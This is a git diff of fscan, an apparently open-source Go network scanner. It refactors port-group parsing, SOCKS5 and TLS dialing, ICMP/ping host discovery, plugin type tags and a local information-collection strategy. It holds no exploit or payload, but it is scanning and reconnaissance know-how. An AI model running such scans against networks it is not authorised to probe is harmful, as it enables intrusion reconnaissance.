||||||
|
hostMap[host] = struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从map中删除需要排除的主机
|
||||||
|
for _, host := range excludeList {
|
||||||
|
delete(hostMap, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重建主机列表
|
||||||
|
result := make([]string, 0, len(hostMap))
|
||||||
|
for host := range hostMap {
|
||||||
|
result = append(result, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 排序以保持结果的稳定性
|
||||||
|
sort.Strings(result)
|
||||||
|
LogBase(GetText("hosts_excluded", len(excludeList)))
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// removeDuplicateIPs 去除重复的IP地址
|
||||||
|
// 参数:
|
||||||
|
// - ips: 包含可能重复项的IP地址列表
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 去重后的IP地址列表
|
||||||
|
func removeDuplicateIPs(ips []string) []string {
|
||||||
|
// 使用map去重
|
||||||
|
ipMap := make(map[string]struct{}, len(ips))
|
||||||
|
for _, ip := range ips {
|
||||||
|
ipMap[ip] = struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建结果切片并添加唯一的IP
|
||||||
|
result := make([]string, 0, len(ipMap))
|
||||||
|
for ip := range ipMap {
|
||||||
|
result = append(result, ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 排序以保持结果的稳定性
|
||||||
|
sort.Strings(result)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// randomInt 生成指定范围内的随机整数
|
||||||
|
// 参数:
|
||||||
|
// - min: 最小值(包含)
|
||||||
|
// - max: 最大值(包含)
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - int: 生成的随机数
|
||||||
|
func randomInt(min, max int) int {
|
||||||
|
if min >= max || min < 0 || max <= 0 {
|
||||||
|
return max
|
||||||
|
}
|
||||||
|
return rand.Intn(max-min+1) + min
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-14
@@ -1,7 +1,6 @@
|
|||||||
package Common
|
package Common
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"sort"
|
"sort"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -9,6 +8,20 @@ import (
|
|||||||
|
|
||||||
// ParsePort 解析端口配置字符串为端口号列表
|
// ParsePort 解析端口配置字符串为端口号列表
|
||||||
func ParsePort(ports string) []int {
|
func ParsePort(ports string) []int {
|
||||||
|
// 预定义的端口组
|
||||||
|
portGroups := map[string]string{
|
||||||
|
"service": ServicePorts,
|
||||||
|
"db": DbPorts,
|
||||||
|
"web": WebPorts,
|
||||||
|
"all": AllPorts,
|
||||||
|
"main": MainPorts,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否匹配预定义组
|
||||||
|
if definedPorts, exists := portGroups[ports]; exists {
|
||||||
|
ports = definedPorts
|
||||||
|
}
|
||||||
|
|
||||||
if ports == "" {
|
if ports == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -23,20 +36,12 @@ func ParsePort(ports string) []int {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理预定义端口组
|
|
||||||
if PortGroup[port] != "" {
|
|
||||||
groupPorts := ParsePort(PortGroup[port])
|
|
||||||
scanPorts = append(scanPorts, groupPorts...)
|
|
||||||
fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理端口范围
|
// 处理端口范围
|
||||||
upper := port
|
upper := port
|
||||||
if strings.Contains(port, "-") {
|
if strings.Contains(port, "-") {
|
||||||
ranges := strings.Split(port, "-")
|
ranges := strings.Split(port, "-")
|
||||||
if len(ranges) < 2 {
|
if len(ranges) < 2 {
|
||||||
fmt.Printf("[!] 无效的端口范围格式: %s\n", port)
|
LogError(GetText("port_range_format_error", port))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -57,7 +62,7 @@ func ParsePort(ports string) []int {
|
|||||||
end, _ := strconv.Atoi(upper)
|
end, _ := strconv.Atoi(upper)
|
||||||
for i := start; i <= end; i++ {
|
for i := start; i <= end; i++ {
|
||||||
if i > 65535 || i < 1 {
|
if i > 65535 || i < 1 {
|
||||||
fmt.Printf("[!] 忽略无效端口: %d\n", i)
|
LogError(GetText("ignore_invalid_port", i))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
scanPorts = append(scanPorts, i)
|
scanPorts = append(scanPorts, i)
|
||||||
@@ -68,17 +73,15 @@ func ParsePort(ports string) []int {
|
|||||||
scanPorts = removeDuplicate(scanPorts)
|
scanPorts = removeDuplicate(scanPorts)
|
||||||
sort.Ints(scanPorts)
|
sort.Ints(scanPorts)
|
||||||
|
|
||||||
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
|
LogBase(GetText("valid_port_count", len(scanPorts)))
|
||||||
return scanPorts
|
return scanPorts
|
||||||
}
|
}
|
||||||
|
|
||||||
// removeDuplicate 对整数切片进行去重
|
// removeDuplicate 对整数切片进行去重
|
||||||
func removeDuplicate(old []int) []int {
|
func removeDuplicate(old []int) []int {
|
||||||
// 使用map存储不重复的元素
|
|
||||||
temp := make(map[int]struct{})
|
temp := make(map[int]struct{})
|
||||||
var result []int
|
var result []int
|
||||||
|
|
||||||
// 遍历并去重
|
|
||||||
for _, item := range old {
|
for _, item := range old {
|
||||||
if _, exists := temp[item]; !exists {
|
if _, exists := temp[item]; !exists {
|
||||||
temp[item] = struct{}{}
|
temp[item] = struct{}{}
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package Common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||||
|
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
|
||||||
|
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||||
|
var AllPorts = "1-65535"
|
||||||
|
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
||||||
|
|
||||||
|
func ParsePortsFromString(portsStr string) []int {
|
||||||
|
var ports []int
|
||||||
|
portStrings := strings.Split(portsStr, ",")
|
||||||
|
for _, portStr := range portStrings {
|
||||||
|
if port, err := strconv.Atoi(portStr); err == nil {
|
||||||
|
ports = append(ports, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ports
|
||||||
|
}
|
||||||
+120
-7
@@ -1,13 +1,16 @@
|
|||||||
package Common
|
package Common
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"golang.org/x/net/proxy"
|
|
||||||
"net"
|
"net"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/net/proxy"
|
||||||
)
|
)
|
||||||
|
|
||||||
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
|
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
|
||||||
@@ -16,13 +19,19 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.
|
|||||||
return WrapperTCP(network, address, d)
|
return WrapperTCP(network, address, d)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WrapperTcpWithContext 创建一个带上下文的TCP连接
|
||||||
|
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||||
|
d := &net.Dialer{}
|
||||||
|
return WrapperTCPWithContext(ctx, network, address, d)
|
||||||
|
}
|
||||||
|
|
||||||
// WrapperTCP 根据配置创建TCP连接
|
// WrapperTCP 根据配置创建TCP连接
|
||||||
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
|
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
|
||||||
// 直连模式
|
// 直连模式
|
||||||
if Socks5Proxy == "" {
|
if Socks5Proxy == "" {
|
||||||
conn, err := forward.Dial(network, address)
|
conn, err := forward.Dial(network, address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("建立TCP连接失败: %v", err)
|
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
|
||||||
}
|
}
|
||||||
return conn, nil
|
return conn, nil
|
||||||
}
|
}
|
||||||
@@ -30,28 +39,76 @@ func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error)
|
|||||||
// Socks5代理模式
|
// Socks5代理模式
|
||||||
dialer, err := Socks5Dialer(forward)
|
dialer, err := Socks5Dialer(forward)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
|
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
conn, err := dialer.Dial(network, address)
|
conn, err := dialer.Dial(network, address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err)
|
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return conn, nil
|
return conn, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WrapperTCPWithContext 根据配置创建支持上下文的TCP连接
|
||||||
|
func WrapperTCPWithContext(ctx context.Context, network, address string, forward *net.Dialer) (net.Conn, error) {
|
||||||
|
// 直连模式
|
||||||
|
if Socks5Proxy == "" {
|
||||||
|
conn, err := forward.DialContext(ctx, network, address)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
|
||||||
|
}
|
||||||
|
return conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Socks5代理模式
|
||||||
|
dialer, err := Socks5Dialer(forward)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建一个结果通道来处理连接和取消
|
||||||
|
connChan := make(chan struct {
|
||||||
|
conn net.Conn
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
conn, err := dialer.Dial(network, address)
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
if conn != nil {
|
||||||
|
conn.Close()
|
||||||
|
}
|
||||||
|
case connChan <- struct {
|
||||||
|
conn net.Conn
|
||||||
|
err error
|
||||||
|
}{conn, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
case result := <-connChan:
|
||||||
|
if result.err != nil {
|
||||||
|
return nil, fmt.Errorf(GetText("socks5_conn_failed"), result.err)
|
||||||
|
}
|
||||||
|
return result.conn, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Socks5Dialer 创建Socks5代理拨号器
|
// Socks5Dialer 创建Socks5代理拨号器
|
||||||
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
||||||
// 解析代理URL
|
// 解析代理URL
|
||||||
u, err := url.Parse(Socks5Proxy)
|
u, err := url.Parse(Socks5Proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err)
|
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证代理类型
|
// 验证代理类型
|
||||||
if strings.ToLower(u.Scheme) != "socks5" {
|
if strings.ToLower(u.Scheme) != "socks5" {
|
||||||
return nil, errors.New("仅支持socks5代理")
|
return nil, errors.New(GetText("socks5_only"))
|
||||||
}
|
}
|
||||||
|
|
||||||
address := u.Host
|
address := u.Host
|
||||||
@@ -71,8 +128,64 @@ func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
|
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return dialer, nil
|
return dialer, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WrapperTlsWithContext 创建一个通过代理的TLS连接
|
||||||
|
func WrapperTlsWithContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
|
||||||
|
// 直连模式
|
||||||
|
if Socks5Proxy == "" {
|
||||||
|
dialer := &net.Dialer{}
|
||||||
|
|
||||||
|
tcpConn, err := dialer.DialContext(ctx, network, address)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("直连TCP连接失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在TCP连接上进行TLS握手
|
||||||
|
tlsConn := tls.Client(tcpConn, tlsConfig)
|
||||||
|
|
||||||
|
// 使用ctx的deadline设置TLS握手超时
|
||||||
|
if deadline, ok := ctx.Deadline(); ok {
|
||||||
|
tlsConn.SetDeadline(deadline)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tlsConn.Handshake(); err != nil {
|
||||||
|
tcpConn.Close()
|
||||||
|
return nil, fmt.Errorf("TLS握手失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清除deadline,让上层代码自己管理超时
|
||||||
|
tlsConn.SetDeadline(time.Time{})
|
||||||
|
|
||||||
|
return tlsConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Socks5代理模式
|
||||||
|
// 首先通过代理建立到目标的TCP连接
|
||||||
|
tcpConn, err := WrapperTcpWithContext(ctx, network, address)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("通过代理建立TCP连接失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在TCP连接上进行TLS握手
|
||||||
|
tlsConn := tls.Client(tcpConn, tlsConfig)
|
||||||
|
|
||||||
|
// 使用ctx的deadline设置TLS握手超时
|
||||||
|
if deadline, ok := ctx.Deadline(); ok {
|
||||||
|
tlsConn.SetDeadline(deadline)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tlsConn.Handshake(); err != nil {
|
||||||
|
tcpConn.Close()
|
||||||
|
return nil, fmt.Errorf("TLS握手失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清除deadline,让上层代码自己管理超时
|
||||||
|
tlsConn.SetDeadline(time.Time{})
|
||||||
|
|
||||||
|
return tlsConn, nil
|
||||||
|
}
|
||||||
|
|||||||
+36
-1
@@ -8,13 +8,48 @@ type HostInfo struct {
|
|||||||
Infostr []string
|
Infostr []string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 在 Common/const.go 中添加
|
||||||
|
// 插件类型常量
|
||||||
|
const (
|
||||||
|
PluginTypeService = "service" // 服务类型插件
|
||||||
|
PluginTypeWeb = "web" // Web类型插件
|
||||||
|
PluginTypeLocal = "local" // 本地类型插件
|
||||||
|
)
|
||||||
|
|
||||||
// ScanPlugin 定义扫描插件的结构
|
// ScanPlugin 定义扫描插件的结构
|
||||||
type ScanPlugin struct {
|
type ScanPlugin struct {
|
||||||
Name string // 插件名称
|
Name string // 插件名称
|
||||||
Port int // 关联的端口号,0表示特殊扫描类型
|
Ports []int // 适用端口
|
||||||
|
Types []string // 插件类型标签,一个插件可以有多个类型
|
||||||
ScanFunc func(*HostInfo) error // 扫描函数
|
ScanFunc func(*HostInfo) error // 扫描函数
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 添加一个用于检查插件类型的辅助方法
|
||||||
|
func (p ScanPlugin) HasType(typeName string) bool {
|
||||||
|
for _, t := range p.Types {
|
||||||
|
if t == typeName {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// HasPort 检查插件是否支持指定端口
|
||||||
|
func (p *ScanPlugin) HasPort(port int) bool {
|
||||||
|
// 如果没有指定端口列表,表示支持所有端口
|
||||||
|
if len(p.Ports) == 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口是否在支持列表中
|
||||||
|
for _, supportedPort := range p.Ports {
|
||||||
|
if port == supportedPort {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// PluginManager 管理插件注册
|
// PluginManager 管理插件注册
|
||||||
var PluginManager = make(map[string]ScanPlugin)
|
var PluginManager = make(map[string]ScanPlugin)
|
||||||
|
|
||||||
|
|||||||
+1117
File diff suppressed because it is too large
Load Diff
+38
-19
@@ -45,22 +45,43 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
|||||||
return AliveHosts
|
return AliveHosts
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleAliveHosts 处理存活主机信息
|
// IsContain 检查切片中是否包含指定元素
|
||||||
|
func IsContain(items []string, item string) bool {
|
||||||
|
for _, eachItem := range items {
|
||||||
|
if eachItem == item {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
|
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
|
||||||
for ip := range chanHosts {
|
for ip := range chanHosts {
|
||||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||||
ExistHosts[ip] = struct{}{}
|
ExistHosts[ip] = struct{}{}
|
||||||
|
AliveHosts = append(AliveHosts, ip)
|
||||||
|
|
||||||
// 输出存活信息
|
// 使用Output系统保存存活主机信息
|
||||||
if !Common.Silent {
|
protocol := "ICMP"
|
||||||
protocol := "ICMP"
|
if isPing {
|
||||||
if isPing {
|
protocol = "PING"
|
||||||
protocol = "PING"
|
|
||||||
}
|
|
||||||
fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
AliveHosts = append(AliveHosts, ip)
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.HOST,
|
||||||
|
Target: ip,
|
||||||
|
Status: "alive",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"protocol": protocol,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
|
// 保留原有的控制台输出
|
||||||
|
if !Common.Silent {
|
||||||
|
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
livewg.Done()
|
livewg.Done()
|
||||||
}
|
}
|
||||||
@@ -75,8 +96,8 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogError(err)
|
Common.LogError(Common.GetText("icmp_listen_failed", err))
|
||||||
fmt.Println("[-] 正在尝试无监听ICMP探测...")
|
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
|
||||||
|
|
||||||
// 尝试无监听ICMP探测
|
// 尝试无监听ICMP探测
|
||||||
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||||
@@ -86,9 +107,9 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogError(err)
|
Common.LogBase(Common.GetText("icmp_connect_failed", err))
|
||||||
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
|
Common.LogBase(Common.GetText("insufficient_privileges"))
|
||||||
fmt.Println("[*] 切换为PING方式探测...")
|
Common.LogBase(Common.GetText("switching_to_ping"))
|
||||||
|
|
||||||
// 降级使用ping探测
|
// 降级使用ping探测
|
||||||
RunPing(hostslist, chanHosts)
|
RunPing(hostslist, chanHosts)
|
||||||
@@ -100,8 +121,7 @@ func printAliveStats(hostslist []string) {
|
|||||||
if len(hostslist) > 1000 {
|
if len(hostslist) > 1000 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i])
|
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
||||||
Common.LogSuccess(output)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -109,8 +129,7 @@ func printAliveStats(hostslist []string) {
|
|||||||
if len(hostslist) > 256 {
|
if len(hostslist) > 256 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i])
|
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
||||||
Common.LogSuccess(output)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -266,7 +285,7 @@ func ExecCommandPing(ip string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var command *exec.Cmd
|
var command *exec.Cmd
|
||||||
// 根据操作系统选择不同的ping命令
|
// 根据操作系统选择不同的ping命令
|
||||||
switch runtime.GOOS {
|
switch runtime.GOOS {
|
||||||
|
|||||||
@@ -0,0 +1,112 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LocalScanStrategy 本地扫描策略
|
||||||
|
type LocalScanStrategy struct{}
|
||||||
|
|
||||||
|
// NewLocalScanStrategy 创建新的本地扫描策略
|
||||||
|
func NewLocalScanStrategy() *LocalScanStrategy {
|
||||||
|
return &LocalScanStrategy{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Name 返回策略名称
|
||||||
|
func (s *LocalScanStrategy) Name() string {
|
||||||
|
return "本地扫描"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Description 返回策略描述
|
||||||
|
func (s *LocalScanStrategy) Description() string {
|
||||||
|
return "收集本地系统信息"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute 执行本地扫描策略
|
||||||
|
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
Common.LogBase("执行本地信息收集")
|
||||||
|
|
||||||
|
// 验证插件配置
|
||||||
|
if err := validateScanPlugins(); err != nil {
|
||||||
|
Common.LogError(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 输出插件信息
|
||||||
|
s.LogPluginInfo()
|
||||||
|
|
||||||
|
// 准备目标(本地扫描通常只有一个目标,即本机)
|
||||||
|
targets := s.PrepareTargets(info)
|
||||||
|
|
||||||
|
// 执行扫描任务
|
||||||
|
ExecuteScanTasks(targets, s, ch, wg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrepareTargets 准备本地扫描目标
|
||||||
|
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
|
||||||
|
// 本地扫描只使用传入的目标信息,不做额外处理
|
||||||
|
return []Common.HostInfo{info}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPlugins 获取本地扫描插件列表
|
||||||
|
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
|
||||||
|
// 如果指定了特定插件且不是"all"
|
||||||
|
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||||
|
requestedPlugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(requestedPlugins) == 0 {
|
||||||
|
requestedPlugins = []string{Common.ScanMode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证插件是否存在,不做Local类型过滤
|
||||||
|
var validPlugins []string
|
||||||
|
for _, name := range requestedPlugins {
|
||||||
|
if _, exists := Common.PluginManager[name]; exists {
|
||||||
|
validPlugins = append(validPlugins, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return validPlugins, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||||
|
return GetAllPlugins(), false
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogPluginInfo 输出本地扫描插件信息
|
||||||
|
func (s *LocalScanStrategy) LogPluginInfo() {
|
||||||
|
allPlugins, isCustomMode := s.GetPlugins()
|
||||||
|
|
||||||
|
// 如果是自定义模式,直接显示用户指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在自动模式下,只显示Local类型的插件
|
||||||
|
var applicablePlugins []string
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
|
if exists && plugin.HasType(Common.PluginTypeLocal) {
|
||||||
|
applicablePlugins = append(applicablePlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(applicablePlugins) > 0 {
|
||||||
|
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||||
|
} else {
|
||||||
|
Common.LogBase("本地模式: 未找到可用的本地插件")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPluginApplicable 判断插件是否适用于本地扫描
|
||||||
|
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||||
|
// 自定义模式下运行所有明确指定的插件
|
||||||
|
if isCustomMode {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// 非自定义模式下,只运行Local类型插件
|
||||||
|
return plugin.HasType(Common.PluginTypeLocal)
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 插件列表解析和验证
|
||||||
|
func parsePluginList(pluginStr string) []string {
|
||||||
|
if pluginStr == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按逗号分割并去除每个插件名称两端的空白
|
||||||
|
plugins := strings.Split(pluginStr, ",")
|
||||||
|
for i, p := range plugins {
|
||||||
|
plugins[i] = strings.TrimSpace(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤空字符串
|
||||||
|
var result []string
|
||||||
|
for _, p := range plugins {
|
||||||
|
if p != "" {
|
||||||
|
result = append(result, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证扫描插件的有效性
|
||||||
|
func validateScanPlugins() error {
|
||||||
|
// 如果未指定扫描模式或使用All模式,则无需验证
|
||||||
|
if Common.ScanMode == "" || Common.ScanMode == "all" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析插件列表
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
